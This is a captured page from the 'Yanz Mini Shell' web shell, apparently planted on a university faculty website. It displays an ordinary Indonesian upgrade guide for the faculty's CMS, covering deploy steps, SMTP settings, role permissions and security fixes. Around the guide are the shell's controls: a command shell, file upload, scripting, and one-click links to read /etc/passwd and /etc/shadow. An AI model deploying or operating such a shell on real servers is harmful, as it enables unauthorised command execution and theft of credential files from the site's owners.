Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
# UPGRADE v4 — Fakultas Sains UNCP Dokumentasi perubahan dari **v3 → v4**. > Pastikan **v2** dan **v3** sudah di-deploy sebelum memasang v4. --- ## 🎯 Ringkasan Perubahan v4 ### Bug Fixes - ✅ **Mobile nav dropdown** — saat tap menu parent dengan submenu, submenu sekarang membuka (bukan menutup mobile nav) - ✅ **Auto-increment sort_order** di Kelola Menu Nav — tidak perlu input angka manual - ✅ **Icon Picker visual** — tidak perlu hafal kode FontAwesome lagi (modal dengan ~100 icon terkategorisasi + pencarian Bahasa Indonesia) - ✅ **Role-Based Access Control** nyata — Super Admin vs Admin biasa punya akses berbeda ### Fitur Baru - 🆕 **Layanan Mahasiswa** — halaman publik dengan 4 tab (Penalaran, Kesejahteraan, Kewirausahaan, Prestasi) + admin CRUD - 🆕 **PHPMailer integration** untuk form kontak (kirim email + fallback ke WhatsApp) - 🆕 **Activity Log** — audit trail semua aktivitas admin (login, create, update, delete, reorder) - 🆕 **Drag-and-drop reorder** di Hero Slides, Quick Info, Pimpinan, Laboratorium, Agenda, dan Layanan Mahasiswa --- ## 📦 Langkah Deploy ### 1. Backup database & file ```bash mysqldump -u root fsains_uncp > backup_pre_v4.sql zip -r backup_pre_v4_files.zip C:/xampp/htdocs/fakultas_sains ``` ### 2. Replace seluruh folder dengan isi `fakultas_sains_v4.zip` Pastikan folder `upload/` lama dan `assets/images/` lama tidak hilang. ### 3. Run database upgrade Buka phpMyAdmin → pilih database `fsains_uncp` → tab SQL → tempel isi `database_upgrade_v4.sql` → Go. Atau via CLI: ```bash mysql -u root fsains_uncp < database_upgrade_v4.sql ``` ### 4. Konfigurasi SMTP (untuk form kontak) Login sebagai **Super Admin** → menu **Pengaturan Web** → scroll ke bagian SMTP: | Setting | Contoh nilai (Gmail) | |---------|----------------------| | `smtp_host` | `smtp.gmail.com` | | `smtp_port` | `587` | | `smtp_username` | `noreply.fsains@gmail.com` | | `smtp_password` | `xxxx xxxx xxxx xxxx` (App Password Gmail) | | `smtp_secure` | `tls` | | `smtp_from_email` | `noreply.fsains@gmail.com` | | `smtp_from_name` | `Fakultas Sains UNCP` | | `contact_to_email` | `info@fsains-uncp.ac.id` (email tujuan form kontak) | **Catatan Gmail:** Anda harus pakai [App Password](https://myaccount.google.com/apppasswords), bukan password Gmail biasa. Aktifkan 2-Step Verification dulu. ### 5. (Opsional) Install PHPMailer untuk email yang lebih reliable Sistem mendukung 2 mode: **Mode A — PHPMailer via Composer (recommended):** ```bash cd C:/xampp/htdocs/fakultas_sains composer require phpmailer/phpmailer ``` **Mode B — PHPMailer manual:** Download dari https://github.com/PHPMailer/PHPMailer/releases, copy folder `src/` ke `includes/PHPMailer/` (3 file: `PHPMailer.php`, `SMTP.php`, `Exception.php`). **Mode C — Tanpa PHPMailer:** Sistem akan otomatis fallback ke fungsi `mail()` PHP standar. Jika `mail()` tidak berfungsi (umumnya di XAMPP lokal), form kontak akan fallback lagi ke redirect WhatsApp. Jadi form selalu berfungsi. --- ## 👥 Role Permissions | Modul | Super Admin | Admin biasa | |-------|:-----------:|:-----------:| | Dashboard | ✅ | ✅ | | **Kelola Berita** | ✅ | ✅ | | **Agenda & Kegiatan** | ✅ | ✅ | | Hero Slideshow | ✅ | ❌ | | Quick Info Bar | ✅ | ❌ | | Pimpinan | ✅ | ❌ | | Laboratorium | ✅ | ❌ | | Informasi Akademik | ✅ | ❌ | | Layanan Mahasiswa | ✅ | ❌ | | Pengaturan Web | ✅ | ❌ | | Kelola Menu Nav | ✅ | ❌ | | Kelola Admin | ✅ | ❌ | | Activity Log | ✅ | ❌ | > Set role admin baru lewat **Kelola Admin** → field "role" pilih `super` atau `admin`. --- ## 🎨 Icon Picker — Cara Pakai Di form yang punya field icon (Quick Info, Laboratorium, Agenda, Layanan Mahasiswa): 1. Klik tombol **"Pilih Icon"** di samping input icon 2. Modal galeri muncul dengan 8 kategori (Akademik, Sains, Orang, Dokumen, Keuangan, Teknologi, Komunikasi, Lainnya) 3. Klik ikon yang diinginkan, atau ketik kata kunci Bahasa Indonesia di kolom pencarian (mis. "buku", "labu kimia", "tabung") 4. Ikon terpilih akan terisi otomatis di field input --- ## 🖱️ Drag-and-Drop Reorder Di halaman admin (Hero, Quick Info, Pimpinan, Lab, Agenda, Layanan Mahasiswa): 1. Hover ke icon **grip** (titik enam) di sisi kiri tiap item 2. Klik dan tahan → drag ke posisi yang diinginkan 3. Lepas → urutan tersimpan otomatis ke database (tanpa reload) > Field "Urutan" manual di form **tetap berfungsi** sebagai backup, tapi > umumnya tidak perlu diisi karena drag-and-drop lebih intuitif. --- ## 📊 Activity Log Akses via sidebar **Activity Log** (Super Admin only). Yang dicatat: - Login berhasil & login gagal (dengan IP) - Tambah / edit / hapus berita - Update settings (dengan daftar key yang berubah) - Hapus item (hero slide, pimpinan, lab, agenda, dll) - Reorder via drag-and-drop Filter tersedia: User, Aksi, Range Tanggal. --- ## 🐛 Bug Fixes — Catatan Teknis ### Mobile Nav (header.php) Sebelumnya: tap parent dropdown di mobile menutup seluruh nav menu. Solusi: pakai `stopImmediatePropagation()` + selector `.nav-menu a:not(.dropdown-toggle)` agar handler "close menu on link click" tidak fire pada parent dropdown. ### Menu Auto-Increment (add-menu.php) Sebelumnya: input `sort_order` manual (default 0 → semua menu di posisi yang sama). Solusi: query `SELECT COALESCE(MAX(sort_order), 0) + 1` di-scope per `parent_id`, menu baru otomatis di posisi paling akhir. --- ## 📁 File Baru di v4 ``` admin/ api/ reorder.php ← AJAX endpoint untuk drag-and-drop includes/ icon-picker.php ← Reusable icon picker component activity-log.php ← Audit trail viewer layanan-mahasiswa.php ← Admin CRUD Layanan Mahasiswa pages/ layanan-mahasiswa.php ← Halaman publik 4-tab database_upgrade_v4.sql ← Schema baru: layanan_mahasiswa, activity_log, SMTP settings UPGRADE_v4.md ← Dokumen ini ``` ## 📁 File yang Diubah di v4 ``` admin/ add-menu.php ← auto-increment sort_order add.php ← logActivity edit.php ← logActivity delete.php ← rewrite dengan auth + CSRF + logActivity hero-slides.php ← drag-and-drop, logActivity quick-info.php ← icon picker, drag-and-drop, logActivity pimpinan.php ← drag-and-drop, logActivity laboratorium.php ← icon picker, drag-and-drop, logActivity agenda.php ← icon picker, drag-and-drop, logActivity settings.php ← logActivity login.php ← logActivity (login & login_failed) manage-admin.php ← requireSuperAdmin helper news-management.php ← CSRF token di link delete includes/admin_layout.php ← sidebar role-aware, support icon picker & sortable includes/ header.php ← fix mobile nav auth.php ← requireSuperAdmin, isSuperAdmin, logActivity pages/ kontak.php ← PHPMailer integration ``` --- ## ✅ Checklist Verifikasi Setelah Deploy - [ ] Login admin masih bisa - [ ] Test mobile nav: tap menu parent dengan submenu → submenu terbuka, mobile menu tetap terbuka - [ ] Tambah menu nav baru → sort_order otomatis - [ ] Test icon picker di Quick Info → modal muncul, search "buku" → buku icon tampil - [ ] Test drag-and-drop di halaman Agenda → urut ulang dan refresh → urutan tersimpan - [ ] Login sebagai admin biasa (role='admin') → sidebar hanya tampilkan Berita + Agenda - [ ] Buka halaman `/pages/layanan-mahasiswa.php` → 4 tab dengan data seed muncul - [ ] Buka Activity Log sebagai super admin → log login sebelumnya tercatat - [ ] Test form kontak → email terkirim (jika SMTP dikonfigurasi) ATAU redirect ke WhatsApp --- ## 🔒 Catatan Keamanan v4 - Semua CRUD super-admin sekarang dilindungi `requireSuperAdmin()` - `delete.php` (hapus berita) sekarang butuh CSRF token (sebelumnya tidak) - Endpoint AJAX `/admin/api/reorder.php` butuh CSRF token + whitelist tabel - Activity log mencatat IP address untuk audit - SMTP password di settings tidak ter-expose di public --- **Versi dokumen:** 2026-05-30
Free Space : 55381970944 Byte